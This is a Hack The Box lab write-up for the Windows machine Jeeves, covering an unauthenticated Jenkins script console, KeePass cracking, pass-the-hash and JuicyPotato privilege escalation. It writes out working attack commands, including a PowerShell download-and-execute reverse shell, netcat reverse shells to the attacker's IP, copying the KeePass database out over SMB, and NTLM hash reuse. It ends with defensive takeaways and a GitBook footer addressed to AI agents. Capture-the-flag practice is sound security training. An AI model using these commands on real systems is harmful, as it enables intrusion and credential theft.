> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/jeeves-htb-writeup-or-by-alham-rizvi.md). # Jeeves - HTB Writeup | By Alham Rizvi
> **Hack The Box Machine**\ > **Name:** Jeeves\ > **Difficulty:** Medium\ > **OS:** Windows 10 Pro (Build 10586)\ > **Date:** 2026-07-16 *** ### Box Info | Field | Detail | | ---------- | ---------------------------------------------------- | | Name | [Jeeves](https://app.hackthebox.com/machines/Jeeves) | | OS | Windows 10 Pro (Build 10586) | | Difficulty | Medium | | Release | 2017 | *** ### Overview Jeeves is a Medium Windows machine that provides two distinct paths to SYSTEM. The initial foothold is gained through an **unauthenticated Jenkins Script Console** (exposed on port 50000 via the `/askjeeves` endpoint), which allows Groovy script execution. From there, two privilege escalation paths exist: 1. **KeePass Database → Pass‑the‑Hash** – A KeePass database (`CEH.kdbx`) is found in `kohsuke`'s documents. After cracking the master password, the database contains NTLM hashes that can be used for Pass‑the‑Hash to authenticate as `Administrator`. 2. **JuicyPotato (SeImpersonatePrivilege)** – The `kohsuke` user has `SeImpersonatePrivilege` enabled. JuicyPotato abuses a COM CLSID to coerce a SYSTEM‑authenticated token, spawning a reverse shell as `NT AUTHORITY\SYSTEM`. *** ### 1. Reconnaissance #### 1.1 Port Scanning ```bash $ nmap -p- -sS -n -Pn 10.129.228.112 ``` Open ports: | Port | Service | Notes | | --------- | ------------ | --------------------- | | 80/tcp | http | Microsoft IIS 10.0 | | 135/tcp | msrpc | Microsoft Windows RPC | | 445/tcp | microsoft-ds | SMB | | 50000/tcp | http | Jetty 9.4.z‑SNAPSHOT | A detailed scan: ```bash $ nmap -p80,135,445,50000 -sV -sC 10.129.228.112 ``` Output confirms: * Port 80: Microsoft IIS 10.0 – "Ask Jeeves" search page * Port 50000: Jetty web server – returns a 404, but path enumeration reveals `/askjeeves` #### 1.2 Web Enumeration – Port 80 The page on port 80 is a static "Ask Jeeves" search engine. The search bar returns an error image (`jeeves.PNG`) regardless of input – a rabbit hole. #### 1.3 Web Enumeration – Port 50000 Directory brute‑forcing on port 50000 reveals a hidden path: ```bash $ ffuf -u http://10.129.228.112:50000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ... [Status: 302, Size: 0] FUZZ: askjeeves ``` Navigating to `http://10.129.228.112:50000/askjeeves` presents the **Jenkins** dashboard – an open‑source automation server. *** ### 2. Initial Access – Jenkins Script Console RCE #### 2.1 Jenkins Misconfiguration Jenkins is exposed **without authentication**. The "Manage Jenkins" → "Script Console" allows executing arbitrary Groovy scripts with the privileges of the Jenkins service account. #### 2.2 Executing Groovy Scripts We test command execution with a simple `whoami`: ```groovy cmd = "whoami" println cmd.execute().text ``` Output: `jeeves\kohsuke` – confirming we are the `kohsuke` user. #### 2.3 Reverse Shell via PowerShell We use a PowerShell one‑liner to download and execute a Nishang reverse shell script. **Step 1 – Host the script on the attacker machine:** ```bash $ wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 $ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.15.61 -Port 4444' >> Invoke-PowerShellTcp.ps1 $ python3 -m http.server 80 ``` **Step 2 – Start a listener:** ```bash $ nc -lvnp 4444 ``` **Step 3 – Execute the payload from Jenkins Script Console:** ```groovy cmd = """ powershell -c "IEX(New-Object Net.WebClient).downloadString('http://10.10.15.61/Invoke-PowerShellTcp.ps1')" """ println cmd.execute().text ``` A reverse shell connects as `kohsuke`: ``` connect to [10.10.15.61] from (UNKNOWN) [10.129.228.112] 49676 PS C:\Users\Administrator\.jenkins\workspace\RevShell> whoami jeeves\kohsuke ``` #### 2.4 User Flag ```powershell PS C:\Users\kohsuke\Desktop> type user.txt [REDACTED] ``` *** ### 3. Privilege Escalation – Path A (KeePass → Pass‑the‑Hash) #### 3.1 Discovering the KeePass Database While enumerating the `kohsuke` home directory: ```powershell PS C:\Users\kohsuke\Documents> dir Directory: C:\Users\kohsuke\Documents -a---- 9/18/2017 1:43 PM 2846 CEH.kdbx ``` `CEH.kdbx` is a **KeePass 2.x password database**. #### 3.2 Exfiltrating the Database Set up an SMB share on the attacker machine: ```bash $ impacket-smbserver share . ``` Mount the share on the target and copy the file: ```powershell PS C:\> New-PSDrive -Name "share" -PSProvider "FileSystem" -Root "\\10.10.15.61\share" PS C:\> copy C:\Users\kohsuke\Documents\CEH.kdbx share:\ ``` #### 3.3 Cracking the Master Password Convert the `.kdbx` file to a Hashcat‑compatible hash: ```bash $ keepass2john CEH.kdbx > keepass.hash ``` Crack with Hashcat (mode 13400 for KeePass 2): ```bash $ hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt --force ... moonshine1 (CEH) ``` The master password is **`moonshine1`**. #### 3.4 Opening the Database with `kpcli` ```bash $ kpcli --kdb=CEH.kdbx Provide the master password: moonshine1 ``` Browse the contents: ``` kpcli:/> ls === Groups === CEH/ kpcli:/> cd CEH kpcli:/CEH> ls === Entries === 0. Backup stuff 1. Bank of America 2. DC Recovery PW 3. EC-Council 4. It's a secret 5. Jenkins admin 6. Keys to the kingdom 7. Walmart.com ``` **Entry 0 – Backup stuff:** ``` Title: Backup stuff Uname: ? Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` This is an **NTLM hash** (blank LM hash + NTLM hash). The second part is the NTLM hash of the `Administrator` password. #### 3.5 Pass‑the‑Hash with `pth-winexe` Using the NTLM hash, we authenticate to the target over SMB without needing the plaintext password: ```bash $ pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.129.228.112 cmd.exe E_md4hash wrapper called. HASH PASS: Substituting user supplied NTLM HASH... Microsoft Windows [Version 10.0.10586] C:\Windows\system32> whoami jeeves\administrator ``` To get `NT AUTHORITY\SYSTEM`, add the `--system` flag: ```bash $ pth-winexe -U Administrator%... --system //10.129.228.112 cmd.exe C:\Windows\system32> whoami nt authority\system ``` *** ### 4. Privilege Escalation – Path B (JuicyPotato via SeImpersonatePrivilege) #### 4.1 Confirm the Privilege From the `kohsuke` shell: ```powershell PS C:\> whoami /priv SeImpersonatePrivilege Impersonate a client after authentication Enabled ``` `SeImpersonatePrivilege` is a classic privilege escalation vector on Windows. It allows a process to impersonate a client's security context – including SYSTEM – after authentication. Tools like **JuicyPotato** abuse this by: 1. Triggering a COM object that authenticates as SYSTEM. 2. Capturing the SYSTEM token. 3. Using `CreateProcessWithTokenW` to spawn a process with that token. #### 4.2 Transfer JuicyPotato and a Payload Download `JuicyPotato.exe` and `nc.exe` (or a PowerShell payload) to the target: ```powershell PS C:\> Invoke-WebRequest -Uri http://10.10.15.61/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe PS C:\> Invoke-WebRequest -Uri http://10.10.15.61/nc.exe -OutFile C:\Windows\Temp\nc.exe ``` #### 4.3 Test Outbound Connectivity Before choosing a callback port, confirm outbound connectivity: ```powershell PS C:\> Test-NetConnection -ComputerName 10.10.15.61 -Port 443 True ``` Port 4444 may be blocked; port 443 is open. #### 4.4 Trigger JuicyPotato ```powershell PS C:\Windows\Temp> .\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.61 443" -t * ``` * `-l 1337` – local port for COM server * `-p` – program to launch * `-a` – arguments to pass * `-t *` – try both `CreateProcessWithTokenW` and `CreateProcessAsUser` Output confirms success: ``` [+] CreateProcessWithTokenW OK [+] Token: NT AUTHORITY\SYSTEM ``` On the attacker listener: ```bash $ nc -lvnp 443 connect to [10.10.15.61] from (UNKNOWN) [10.129.228.112] 49811 Microsoft Windows [Version 10.0.10586] C:\Windows\system32> whoami nt authority\system ``` *** ### 5. Root Flag – NTFS Alternate Data Stream The root flag is **not** stored as a plain file. It is hidden in an **Alternate Data Stream (ADS)** attached to a decoy file on the Administrator's Desktop. ```powershell PS C:\Users\Administrator\Desktop> dir /r 12/24/2017 03:51 AM 36 hm.txt 34 hm.txt:root.txt:$DATA ``` Extract the ADS content: ```powershell PS C:\Users\Administrator\Desktop> powershell -c "Get-Content hm.txt -Stream root.txt" [REDACTED] ``` *** ### 6. Attack Chain Summary ```mermaid flowchart TD A[Recon: nmap] --> B[Port 50000: Jetty] B --> C[Path brute-force: /askjeeves] C --> D[Jenkins unauthenticated] D --> E[Script Console RCE -> shell as kohsuke] E --> F[User flag] E --> G[Path A: KeePass DB] E --> H[Path B: SeImpersonate] G --> G1[Exfiltrate CEH.kdbx] G1 --> G2[Crack with hashcat: moonshine1] G2 --> G3[Extract NTLM hash] G3 --> G4[Pass-the-Hash -> Administrator/SYSTEM] H --> H1[Download JuicyPotato] H1 --> H2[Trigger COM abuse] H2 --> H3[SYSTEM shell] G4 --> I[Root flag (ADS)] H3 --> I ``` *** ### 7. Key Takeaways 1. **Jenkins without authentication is a critical RCE vector** – The Script Console allows arbitrary Groovy execution. Always restrict access and enforce authentication. 2. **KeePass databases are valuable targets** – They often contain credentials, NTLM hashes, or even plaintext passwords. Cracking the master password (with `rockyou.txt`) was possible because of a weak password. 3. **NTLM hashes are enough for authentication** – Pass‑the‑Hash attacks work against SMB, RDP, and other Windows services. `pth-winexe` uses the hash directly to spawn a shell. 4. **`SeImpersonatePrivilege` is a known escalation vector** – This privilege is often granted to service accounts. Tools like JuicyPotato exploit COM objects to get a SYSTEM token. Always review privilege assignments and restrict `SeImpersonate` to only necessary accounts. 5. **Root flags can be hidden in ADS** – Always check `dir /r` on Windows. Alternate Data Streams are a common hiding place for flag files. 6. **Outbound firewall rules matter** – Port 443 was allowed while 4444 was blocked. Always test connectivity before choosing a callback port. *** ### 8. Flags | Flag | Location | Method | | ---- | ------------------------------------------------ | -------------- | | User | `C:\Users\kohsuke\Desktop\user.txt` | Jenkins RCE | | Root | `C:\Users\Administrator\Desktop\hm.txt:root.txt` | ADS extraction | *** *Machine pwned – Happy Hacking!* --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/jeeves-htb-writeup-or-by-alham-rizvi.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.